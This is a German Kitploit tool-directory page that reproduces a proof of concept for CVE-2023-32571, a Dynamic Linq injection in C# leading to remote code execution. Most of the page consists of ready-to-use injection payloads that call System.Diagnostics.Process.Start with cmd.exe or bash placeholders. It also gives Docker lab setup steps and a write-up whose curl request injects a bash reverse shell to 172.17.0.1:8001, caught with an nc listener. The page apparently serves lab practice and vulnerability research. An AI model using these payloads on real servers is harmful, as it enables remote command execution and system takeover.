Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2023-32571-POC | Kitploit
Tools/GitHubGitHub/vert16x/cve-2023-32571-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungLabs & Praxis
GitHubvert16x/cve-2023-32571-poc

CVE-2023-32571-POC

Repository anzeigen
vor 2 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dynamic-Linq-Injection zu RCE - CVE-2023-32571

Über Dynamic-Linq-Injection zu RCE (CVE-2023-32571)

Vor Kurzem entdeckten Mitglieder der NCC Group eine Schwachstelle in Dynamic Linq, die es Angreifern ermöglicht, C#-Funktionen über eine Linq-Injection aufzurufen und so RCE zu erlangen.

Trotz des RCE-Berichts zu Dynamic Linq haben die Mitglieder der NCC Group den POC zur Befehlsausführung aus irgendeinem Grund nicht bereitgestellt.

POC

Wie in der Forschung der NCC Group beschrieben, können wir C#-Methoden über "Invoke" aufrufen. Damit können wir "System.Diagnostics.Process.Start" aufrufen und Befehle auf dem Server ausführen.

Wir können die Methode "CreateInstanceFromAndUnwrap" verwenden, um System.Diagnostics.Process über die Assembly aufzurufen.

Payload zur Verwendung der Methode System.AppDomain.CreateInstanceAndUnwrap:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.1Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First()

Payload, um System.Diagnostics.Process über die Methode CreateInstanceAndUnwrap aufzurufen:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray()))

Durch den Zugriff auf die Methoden der Klasse System.Diagnostics.Process können wir die Methode System.Diagnostics.Process.Start verwenden, um Befehle auf dem System auszuführen:

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c calc.exe".Split(";".ToCharArray()))

Hinweis: Beachten Sie, dass das Payload nach den ersten 3 Start-Methoden sucht und die letzte davon auswählt. Ich habe das getan, weil die Liste der Methoden in System.Diagnostics.Process mehrere Start-Methoden enthält und die benötigte Methode die dritte in der Liste ist.

Finales Payload

Windows-Zielsysteme

root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "cmd.exe;/c <command-here>".Split(";".ToCharArray()))

Linux-Zielsysteme
root@kitploit:~
"".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredMethods.Where(it.Name == "CreateInstanceAndUnwrap").First().Invoke("".GetType().Assembly.DefinedTypes.Where(it.Name == "AppDomain").First().DeclaredProperties.Where(it.name == "CurrentDomain").First().GetValue(null), "System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process".Split(";".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == "Process").First().DeclaredMethods.Where(it.name == "Start").Take(3).Last().Invoke(null, "bash;-c <command-here>".Split(";".ToCharArray()))

Um das Lab zu starten, befolgen Sie die Anweisungen

Installieren Sie docker und docker-compose:

Debian

root@kitploit:~
sudo apt update -y && sudo apt install docker.io docker-compose -y

Arch Linux
root@kitploit:~
sudo pacman -Syu && sudo pacman -S docker docker-compose

Klonen Sie dieses Repository:

root@kitploit:~
git clone https://github.com/Tris0n/CVE-2023-32571-POC

Wechseln Sie in das Repository-Verzeichnis:
root@kitploit:~
cd CVE-2023-32571-POC

Führen Sie docker-compose aus:
root@kitploit:~
sudo docker-compose up --build

Die Anwendung läuft auf http://localhost:8000/

Lab-Writeup

Wenn wir die Route /api/products über die POST-Methode aufrufen, sehen wir, dass sie eine Liste von Produkten zurückgibt:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{}' http://localhost:8000/api/products

01 pn

Indem wir den Parameter name in JSON senden, können wir Produkte filtern:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "nana"}' http://localhost:8000/api/products

02

Nach einigen Tests sehen wir, dass wir eine Injection in die Dynamic-Linq-Abfrage durchführen konnten. Mit dem folgenden Payload konnten wir eine Reverse Shell erhalten:

root@kitploit:~
curl -X POST -H "Content-type: application/json" -H "Accept: application/json" -d '{"name": "\") && \"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredMethods.Where(it.Name == \"CreateInstanceAndUnwrap\").First().Invoke(\"\".GetType().Assembly.DefinedTypes.Where(it.Name == \"AppDomain\").First().DeclaredProperties.Where(it.name == \"CurrentDomain\").First().GetValue(null), \"System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089; System.Diagnostics.Process\".Split(\";\".ToCharArray())).GetType().Assembly.DefinedTypes.Where(it.Name == \"Process\").First().DeclaredMethods.Where(it.name == \"Start\").Take(3).Last().Invoke(null, \"/bin/bash;-c \\\"bash -i >& /dev/tcp/172.17.0.1/8001 0>&1\\\"\".Split(\";\".ToCharArray())).GetType().ToString() == (\""}' http://localhost:8000/api/products

03

root@kitploit:~
nc -lvp 8001

04

Tool herunterladen